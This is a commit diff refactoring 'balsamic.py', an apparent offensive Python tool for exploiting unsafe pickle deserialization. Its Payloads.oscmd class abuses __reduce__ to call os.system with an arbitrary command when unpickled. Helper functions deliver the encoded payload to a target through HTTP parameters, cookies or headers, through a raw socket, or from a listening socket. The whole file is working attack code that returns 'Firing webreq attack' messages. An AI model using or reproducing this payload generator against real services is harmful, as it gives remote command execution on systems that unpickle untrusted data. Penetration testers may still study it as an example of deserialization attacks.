Update balsamic.py

balsamic/balsamic.py

@@ -1,80 +1,84 @@
-#imports
 import pickle
 import base64
 import requests
 import socket
+import argparse
 
-class utility:
-	command=""
+class Utility:
+    command = ""
 
-	def b64pickle(payload):
-		p=getattr(payloads,payload)
-		p=base64.b64encode(pickle.dumps(p()))
-		return p
-	def plainpickle(payload):
-		p=getattr(payloads,payload)
-		p=pickle.dumps(p)
-		return p
+    @staticmethod
+    def b64pickle(payload):
+        p = getattr(Payloads, payload)
+        return base64.b64encode(pickle.dumps(p()))
 
-class payloads:
-	class oscmd:
-		def __reduce__(self):
-			import os
-			return (os.system, (utility.command,))
+    @staticmethod
+    def urlpickle(payload):
+        p = getattr(Payloads, payload)
+        return base64.urlsafe_b64encode(pickle.dumps(p()))
 
-def updatecmd(newcmd):
-	utility.command=newcmd
+    @staticmethod
+    def plainpickle(payload):
+        p = getattr(Payloads, payload)
+        return pickle.dumps(p())
 
-def webreq(schema,method,rhost,rport,payload,param=None,cook=None):
-	methods=["get","post","put","patch"]
-	payload=utility.b64pickle(payload)
-	payload=payload.decode("utf-8")
-	if method in methods:
-		r=getattr(requests,method)
-	if param:
-		if method == "get":
-			r(f"{schema}://{rhost}:{rport}/?{param}={payload}")
-		else:
-			data={param:payload}
-			r(f"{schema}://{rhost}:{rport}",data=data)
-	else:
-		cookie={cook:payload.decode("utf-8")}
-		r(f"{schema}://{rhost}:{rport}",cookies=cookie)
-	return f"firing webreq attack against {schema}://{rhost} "
+class Payloads:
+    class oscmd:
+        def __reduce__(self):
+            import os
+            return (os.system, (Utility.command,))
 
-def socksend(rhost,rport,payload, enc, steps=0):
-	rport=int(rport)
-	steps=int(steps)
-	if enc:
-		payload=utility.b64pickle(payload)
-	else:
-		payload=utility.plainpickle(payload)
-	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
-		s.connect((rhost,rport))
-		i=0
-		while i < steps:
-			s.sendall("arb".encode("utf-8"))
-			s.recv(1024)
-			i+=1
-		s.sendall(payload)
-		s.close()
-def socklisten(lport,payload, enc, steps=0):
-	lport=int(lport)
-	steps=int(steps)
-	if enc:
-		payload=utility.b64pickle(payload)
-	else:
-		payload=utility.plainpickle(payload)
-	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
-		s.bind(("",lport))
-		s.listen(1)
-		conn, addr = s.accept()
-		i=0
-		with conn:
-			while i < steps:
-				conn.sendall("arb".encode("utf-8"))
-				conn.recv(1024)
-				i+=1
-			conn.sendall(payload)
-			conn.close()
+def updatecmd(new_cmd):
+    Utility.command = new_cmd
+
+def webreq(method, url, payload, param=None, cook=None, custom_headers=None):
+    methods = ["get", "post", "put", "patch"]
+    headers = custom_headers or {}
+    payload = Utility.urlpickle(payload)
+    payload = payload.decode("utf-8")
+    if method in methods:
+        request_method = getattr(requests, method)
+    if param:
+        data = {param: payload} if method != "get" else {}
+        response = request_method(
+            url,
+            params={param: payload} if method == "get" else None,
+            data=data,
+            cookies={cook: payload} if cook else None,
+            headers=headers
+        )
+    else:
+        response = request_method(
+            url,
+            cookies={cook: payload} if cook else None,
+            headers=headers
+        )
+    return f"Firing webreq attack against {url}"
+
+def socksend(rhost, rport, payload, enc, steps=0):
+    rport = int(rport)
+    steps = int(steps)
+    payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
+    with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
+        s.connect((rhost, rport))
+        for _ in range(steps):
+            s.sendall(b"arb")
+            s.recv(1024)
+        s.sendall(payload)
+        s.close()
+
+def socklisten(lport, payload, enc, steps=0):
+    lport = int(lport)
+    steps = int(steps)
+    payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
+    with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
+        s.bind(('localhost', lport))  # Bind to localhost or a specific IP address
+        s.listen(1)
+        conn, addr = s.accept()
+        with conn:
+            for _ in range(steps):
+                conn.sendall(b"arb")
+                conn.recv(1024)
+            conn.sendall(payload)
+            conn.close()